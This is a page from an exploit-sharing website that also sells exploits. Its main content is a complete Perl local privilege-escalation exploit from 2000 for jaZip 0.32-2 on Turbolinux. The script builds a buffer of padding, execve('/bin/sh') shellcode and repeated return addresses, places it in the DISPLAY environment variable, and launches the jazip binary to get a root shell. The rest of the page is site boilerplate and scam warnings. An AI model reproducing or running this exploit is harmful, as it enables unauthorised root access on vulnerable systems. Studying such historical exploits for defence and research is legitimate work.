0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
jaZip 0.32-2 Local Buffer Overflow Exploit
========================================== jaZip 0.32-2 Local Buffer Overflow Exploit ========================================== #!/usr/bin/perl ## jaZip Exploit / Tested version: jaZip-0.32-2 / anno 2000 ## <teleh0r@doglover.com> || http://teleh0r.cjb.net/ ## Vulnerable: Turbolinux 6.0 ## ## [teleh0r@localhost teleh0r]$ rpm -q jaZip ## jaZip-0.32-2 ## [teleh0r@localhost teleh0r]$ ./jazip-exploit.pl ## Address: 0xbffff7ac ## bash# $shellcode = # Shellcode by: Taeho Oh "\xeb\x1f". #/* jmp 0x1f */ "\x5e". #/* popl %esi */ "\x89\x76\x08". #/* movl %esi,0x8(%esi) */ "\x31\xc0". #/* xorl %eax,%eax */ "\x88\x46\x07". #/* movb %eax,0x7(%esi) */ "\x89\x46\x0c". #/* movl %eax,0xc(%esi) */ "\xb0\x0b". #/* movb $0xb,%al */ "\x89\xf3". #/* movl %esi,%ebx */ "\x8d\x4e\x08". #/* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c". #/* leal 0xc(%esi),%edx */ "\xcd\x80". #/* int $0x80 */ "\x31\xdb". #/* xorl %ebx,%ebx */ "\x89\xd8". #/* movl %ebx,%eax */ "\x40". #/* inc %eax */ "\xcd\x80". #/* int $0x80 */ "\xe8\xdc\xff\xff\xff". #/* call -0x24 */ "/bin/sh"; #/* .string \"/bin/sh\" */ $ret = 0xbffff7ac; # May have to be modified. $len = 2100; $nop = 'A'; if (@ARGV == 1) { $offset = $ARGV[0]; } for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) { $buffer .= $nop; } $buffer .= $shellcode; print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n"); $new_ret = pack('l',($ret + $offset)); $buffer .= $nop x 3; # May have to be modified / 5 for Debian. for ($i += length($shellcode); $i < $len; $i += 4) { $buffer .= $new_ret; } if ($ENV{'DISPLAY'}) { delete($ENV{'DISPLAY'}); } local($ENV{'DISPLAY'}) = $buffer; exec("/usr/X11R6/bin/jazip"); # 0day.today [2024-12-23] #